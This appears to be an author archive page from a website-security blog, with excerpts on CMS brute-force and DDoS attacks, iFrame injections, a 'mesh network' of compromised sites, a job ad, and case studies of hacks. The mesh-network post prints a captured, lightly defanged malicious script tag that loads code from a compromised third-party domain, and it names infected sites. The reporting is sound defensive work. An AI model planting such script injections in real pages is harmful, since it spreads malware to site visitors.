Tony Perez

You will often find me in the shadows of the business focusing on operational effectiveness and cost inefficiencies. Catch my other rants on tonyonsecurity.com and follow at perezbox or tonyonsecurity

Understanding Denial of Service and Brute Force Attacks – WordPress, Joomla, Drupal, vBulletin

Many are likely getting emails with the following subject header Large Distributed Brute Force WordPress Attack Underway – 40,000 Attacks Per Minute. Just this week we put out a post titled More Than 162,000 WordPress Sites Used for Distributed Denial of Service Attack.

What’s the Big Deal?

Remember life before social media? How quiet and content we seemed to be? How the only place we got our information was from the local news or cable outlet? Maybe a phone call, or via email? Today however, we seem to be inundated with information, with raw unfiltered data, left to our thoughts and perceptions of what they really mean. Every day there is some new tragedy, a plane goes missing, a child is abducted, a school shooting, the brink of WWW III. Is it that we live in a time where we are all losing our mind? Or maybe, could it be that the only difference between now and then, is the insane amount of information at our finger tips?

With this in mind, yes, it’s true, there are ongoing Distributed Denial of Service (DDoS) and Brute Force attacks against WordPress sites. In fact it extends far beyond that specific platform, it’s affecting many other platforms like vBulletin, Joomla, Drupal. The reality is that these attacks have been ongoing for many months now, so much so, that they’ve become part of our daily life and it’s not when they happen that we’re surprised, quite the contrary, when they don’t.

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New iFrame Injections Leverage PNG Image Metadata

We’re always trying to stay ahead of the latest trends, and today we caught a very interesting one that we have either been missing, or it’s new. We’ll just say it’s new.. ;)

We’re all familiar with the idea of iFrame Injections, right?

Understanding an iFrame Injection

The iFrame HTML tag is very standard today, it’s an easy way to embed content from another site into your own. It’s supported by almost all browsers and employed by millions of websites today, use Adsense? Then you have an iFrame embedded within your site too.

Pretty nifty, I know. Like with most things though, the good is always accompanied with the bad.

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Website Mesh Networks Distributing Malware

Can you imagine having the keys to a kingdom? How awesome would that be!! This is true in all domains, especialy when it comes to your website. This is almost like the holy grail of website attacks, gain access and do what you want with someone else’s pride and joy.

We all know that once a website is compromised it can be used by attackers in various ways. The most common attack we see leverages the hacked site as part of a malicious SEO Spam campaign (most profitable), followed by malware distribution (think drive by downloads) and ofcourse the integration into botnets, to perform things like DDOS / brute force attacks on other sites.

In any of these scenarios the attacker is able to, more often than not, monetize “their” new website. Yes, the fact that they have gained access to your website makes it theirs now. On a side note, we are seeing a tremendous number of websites being used to mine bitcoins specifically, but being it’s the new Billion dollar currency it only makes sense, but I digress.

Back to the point…

None of this, ofcourse, is new to our industry. Just crawl through the archives of this blog and you’ll find scores of data points that talk to the various scenarios addressed above. What you won’t find though is this new trend that we’re seeing.

Since the shutdown of the Blackhole Exploit kit we’ve been sitting back idly waiting for the next big thing, and perhaps this is it, but then again, perhaps it’s nothing more something that hid in the shadow and is only now finally out in plain sight.

Let’s talk a little about website mesh networks and how they are being used to distribute malware.

What is a Mesh Network?

We won’t get into the details of what a Mesh Network is but we’ll provide you a little context so that you can better understand it as you read through this post:

A mesh network is a network topology in which each node (called a mesh node) relays data for the network. All nodes cooperate in the distribution of data in the network. – Wikipedia

Yes, I know, not the fanciest of descriptions but for our purpose it works. When reading through this, I want you think of each website as a node in the mesh.

Sucuri Mesh Network Illustration

In essence, each of the websites, although hosted separately, owned by people that don’t know each other, are all, inevitably interconnected to one another. Again, nothing new in the concept, we see it everyday in various botnets, right?

Mesh Network of Compromised Webites

The latest exploit kit payloads we are tracking on compromised websites seem to have a very similar characteristic, they are part of a bigger network of compromised website, or what we’re classifying as a compromised Website Mesh Network. As websites get infected, the attackers are continuously adding them to their larger network of malware intermediaries. This means it is not only being used against people visiting the website, but also against users of other compromised sites.

Think of a mesh network of script injections…

How a Mesh Network of JavaScript Injections Works

Let’s say the bad guy, Home Simpson managed to hack into 3 web sites: X.com, Y.com and Z.com. Homer injects malware into X.com that then loads from Y.com. The malware from Y.com is loaded from Z.com and the one from Z.com is loaded from X.com.

That’s right folks, you guessed it, it’s one Giant Self-Licking Ice Cream Cone!!!

Here is a better illustration of the flow:

x.com -> injected with code loading from y.com/hNtpSAXt.php?id=56162149
y.com -> injected with code loading from z.com/8zCUWiW7.php?id=55158211
z.com -> injected with code loading from x.com/zsaok9XZ.php?id=45566441

The Benefit of such a Network

The attacker no longer needs to register domains to hide malicious content and it is very hard to take down. The more sites he manages to compromise, the more powerful their mesh network of compromised websites becomes.

Mesh Network of the Javascript Injection RANDOM.php?id=RANDOM

To put this into perspective, just on the JavaScript injection they can look something like this:

<script src="httx://tiande-rivne-com-ua.1gb. ua/hNtpSAXt.php ?id=56162149&quit;
type="text/javascript"></script>

With this simple payload we were able to identify some 800 websites and more than 19,000 pages compromised. And the injection always happen with the same format, a script src loading from a random PHP file and a random ID code. Every compromised site gets this PHP code injected in it.

These are just some of the injections we were able to capture:

What is the Scale of these Website Mesh Networks?

While it is really hard to provide definitives around how many websites are really compromised and injected with this type of infection we are able to provide some good educated guesses.

Using our very limited view, we identified 800+ domains within our own network of clients. Google agrees with us and it seems they identified a lot more sites, who would have thought, based on the safe browsing data.

If you look at http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=fixreputation.net, they say:

Has this site hosted malware?
Yes, this site has hosted malicious software over the past 90 days. It infected 101 domain(s), including dimensiones.org/, rometransfer.com/, hout-atelier.nl/.

If you check http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=magazyntuiteraz.pl, you will see:

Has this site hosted malware?
Yes, this site has hosted malicious software over the past 90 days. It infected 60 domain(s), including moyer-consulting.com/, rote-liebe96.de/, izorynek.pl/.

So it seems that each site compromised is also used to infected 50+ different domains. And the more you dive into the data, the more sites you find.

For instance, look at this one http://www.google.com/safebrowsing/diagnostic?site=tiande-rivne-com-ua.1gb.ua you will see:

Has this site hosted malware?
Yes, this site has hosted malicious software over the past 90 days. It infected 662 domain(s), including ovptrade.com/, stalkerzoneworld.ru/, fondazionegiannipellicani.it/

You can see that with a little sleuthing the order of magnitude begins to quickly multiply.

How are the sites being compromised

Ah yes, the age old question of how!!!

It’s not any easier to answer here as it’s ever been in any other post we share. As is often the case we see ascertain our data remotely and as such we are limited in a number ways, this case was no exception. We will however provide a post later better dissecting the payload, or at least we hope we will.

As for the how, we did try to scan several of the compromised website in attempt to identify the vector, but we had little luck. While we were unable to find a much coveted silver bullet that tied them together, there was more in what we didn’t find than one might think.

For instance, a few of them were using Drupal, others were using WordPress and ofcourse our Joomla friends were in on the action too. While this does not tell us the access vector, it does tell us it’s platform agnostic.

From this we can make a very educated assumption that the attackers are more than likely using a suite of tools to exploit these websites. From Brute Force attacks against the various platform admin panels to gain access control, to exploiting known or new vulnerabilities in any of the various applications. What is curious though is whether it’s all in one tool or kit and whether the payloads are being created independent of the platforms. Often, what we see is a payload specific to a platform which is later adapted or enhanced for other platforms. To find something like these attacks so tightly integrated and intertwined talks to an interesting trend.

Are you a webmaster? Do you own a web site? Please do your part securing your site so it is not added to these compromised Website Mesh Networks. There are various tools you can use to scan your websites and clean them up if they are infected, leverage them. Don’t get caught with your pants down!

Sucuri is Hiring – Employment Opportunities

It’s always an exciting time when we can reach out to our community and let folks know that there are new opportunities to join our company. That is where we find ourselves today.

We have reached a point where we need to reach out again and continue our growth trajectory. We are looking for a few good men and women in a variety of fields to join us.

Do you fit any of these?

If so, then let us know because we want to hear from you.


System Administrator (022517)

Technical Requirements:

  • Strong system administration and networking experience
  • Linux Knowledge – High
  • Nginx / Apache – High
  • OpenSSL – High
  • Shell Scripting – High
  • HIDS / IPS / IDS – High

Senior PHP Developer / Ops (022514)

Technical Requirements:

  • Senior developer who can write lean, secure PHP 5 code
  • Ability to adapt to various languages
  • Linux administration and management experience – Plus
  • Firm understanding of security principles and use of good security practices
  • Broad understanding of web architecture and scalable platforms

Senior Security Researcher (022515)

Technical Requirements:

  • Experience white-hat hacking and finding vulnerabilities in web applications / web stacks.
  • Experience with a variety of programming languages, frameworks (WordPress, Joomla, vBulletin, Wiki, etc..) and an understanding on how to exploit them.
  • Strong understand of PHP and SQL is a plus
  • Ability to write Proof of Concepts against vulnerabilities is a plus
  • Knowledge of research and white hat security tools
  • You can take a web site, find vulnerabilities, suggest fixes and build ways to prevent that from being exploited
  • Malware decoding experience is a plus

Senior Frontend Developer (022516)

Technical Requirements:

  • Strong HTML, Javascript and CSS experience
  • Ability to effectively convert designs to functional front-end code
  • Familiarity with CMS applications (i.e., WordPress, Joomla, etc..) is a plus
  • You have built other products before and know what it takes to create responsive and intuitive design

Please submit your resume

If any of these positions sound like something you think you’d be able to excel at then we want to hear from you. Send us an email with your resume to jobs@sucuri.net, and let us know why you’d be awesome to work with.

Back to Employment Opportunities

Stealing Credit Cards – A WordPress and vBulletin Hack

What better way to celebrate Thanksgiving than to share an interesting case that involves two of the most popular CMS applications out there – vBulletin and WordPress.

Here is a real case that we just worked on this week, involving an attacker dead set on stealing credit card information. Enjoy!

The Environment

The client runs a fairly successful e-commerce website. They run two main applications within their architecture – vBulletin and WordPress.

vBulletin is used for their support and collaboration forums, while WordPress for their main website and e-commerce. This appears to be a pretty standard configuration across most larger web application environments these days.

Everything is sitting on a LAMP (Linux / Apache / MySQL / PHP) stack, so nothing too special there. For the most part, things are up to date, they might be a version or two behind, but none of it earth shattering or something worth writing home about.

In regards to security, they are running CloudFlare.

All in all, it probably sounds a lot like your environment[s].

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Case Study: Analyzing a WordPress Attack – Dissecting the webr00t cgi shell – Part I

November 1st started like any other day on the web. Billions of requests were being shot virtually between servers in safe and not so safe attempts to access information. After months of waiting, finally one of those not so safe request hit one of our honeypots.

We won’t get into the location of the site because it really doesn’t matter, a fact that most critics don’t realize. As is often the case, the honeypot site was quiet without much traffic and the weakness was access control.

We intentionally left the password to the site to one of the top 10 passwords, with continuous attempts it took about 3 months before it was accessed.

This time though we were ready and this is how it went..

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Google Bots Doing SQL Injection Attacks

One of the things we have to be very sensitive about when writing rules for our CloudProxy Website Firewall is to never block any major search engine bot (ie., Google, Bing, Yahoo, etc..).

To date, we’ve been pretty good about this, but every now and then you come across unique scenarios like the one in this post, that make you scratch your head and think, what if a legitimate search engine bot was being used to attack the site? Should we still allow the attack to go through?

This is exactly what happened a few days ago on a client site; we began blocking certain Google’s IP addresses requests because they were in fact SQL injection attacks. Yes, Google bots were actually attacking a website.

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CloudProxy WAF – September Report

*By Tony Perez and Daniel Cid

As many of you are aware we released a website protection tool, CloudProxy WAF/IDS, at the beginning of the year and over the past few months we have been working with the data we’ve been accumulating. We’re finally at a place where we think we can provide better insight into the world of website attacks.

What we’re hoping to do is provide a monthly summary, similar to what you’ll read here that helps you understand the various website attacks we see via our CloudProxy WAF/IDS. It will also, hopefully, shed insight into the growing online threats that website owners face daily.

September 2013

We have some very small and some big sites with us. And the first thing we noticed is that even the smaller sites get attacked quite often. All sites do.

Every web site gets attacked. And that happens daily. Many times per day.


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The Dangers External Services Present To Your Website

Today the Washington Post reported that they were victims of hack, orchestrated by the Syrian Electronic Army.

This attack is interesting because it sheds light into the anatomy of attacks that appear sophisticated, but is something we’re seeing on a daily basis.

Yesterday, we wrote about Phishing and Joomla. The important point being the emphasis on how Phishing attacks work and for what reasons. In the examples we discussed one of the reasons being financial gain, in today’s example however we can look at how it was used to redirect traffic for a cause. In the story however are two very unique attacks being leveraged, it’s hard to assume how they were used, but it provides for interesting insight into intentions.

External Services

In the article they describe that the attackers were able to attack multiple media outlets at one time. They go on to describe that their attack came specifically from their content sharing network, which happens to be Outbrain. In fact, Outbrain, at the time this was being written was still experiencing down time and had acknowledge a compromise:

Sucuri Outbrain Hacked

If you’re not aware, Outbrain is a very popular content recommendation service leveraged by many media outlets. Has something to do with some awesome magic they apply to understanding who is visiting your site and what the most appropriate content is for that individual. All fancy stuff and above my head, but what I do know is what this, along with so many others, do to the security of your website.

When we look at the security chain what you are always looking for is the weakest link, one of the factors that often contributes to the weakness is the consumption of external services and / or your ability to ensure the integrity of said service. Today, many outlets like Washington Post, Time and CNN found out the hard way why that is.

In this instance, the attackers were able to get access to an Outbrain online console and in doing so where able to inject redirects to various configurations. No one is clear at what level they were able to compromise the console, but it is known that it affect three media outlets at a minimum.

They went on to share an image of their access as proof of their success:

SEA-Outbrain

This, unfortunately, is but one example of the impacts of an external service.

A few weeks back we shared other information on the OpenX ad network being compromised as well. In this scenario, the attackers injected a backdoor into the installation package, allowing them to gain access to any website that uses it. While fundamentally different than what occurred with Outbrain, the impact can be just as catastrophic.

In this scenario, it appears the hacktivists were more concerned with broader awareness and publicity than they were in real nefarious acts. Just imagine the impact some of the brands impacted: CNN, Time, Washington Post could have had on followers around the world if the redirect included some Blackhole variant or other similar type payload designed to have lasting impacts on your computers. These brands are huge conglomerates, even if only for 30 minutes, the shear traffic that would have been affected is mind blowing.

Regardless, the point is not lost. As websites become more secure, attackers will continue to find new creative means of accomplishing their goals, this is but another example of the type of creativity we can come and are expecting and experiencing. We have to remember the motto that many live by..

“Own one, Own them all.”

Joomla Hacks – Part I – Phishing

Joomla is a very popular open source CMS, dominating approximately 10% of the website market. While great for them, horrible for many others, as being popular often paints a big target on your back, at least when it comes to CMS applications.

Lately though, Joomla has had a bad spell, in which a vulnerability was found that was allowing for arbitrary PHP uploads via core. Any site that is not properly updated (or patched), can be an easily compromised. This applies to any website running Joomla 1.0.x, 1.5.x and the 1.6 and 1.7 branches, each one needs to be updated to the supported 2.5 or 3.0. Once that is supported, they need to be updated again to the latest 3.1.5 or 2.5.14 versions.

Unfortunately for Joomla users, the upgrade path is perhaps its weakest link. The reverse compatibility issues are so severe in the various branches that it plays right into the attackers objectives facilitating sever vulnerabilities, allowing them to have wider impacts across the website ecosystem. Because of this, we will share in this post one very specific method attackers are using to perform nefarious acts using the websites you visit or own, a little something known as Phishing.

  • Part I – Phishing injection


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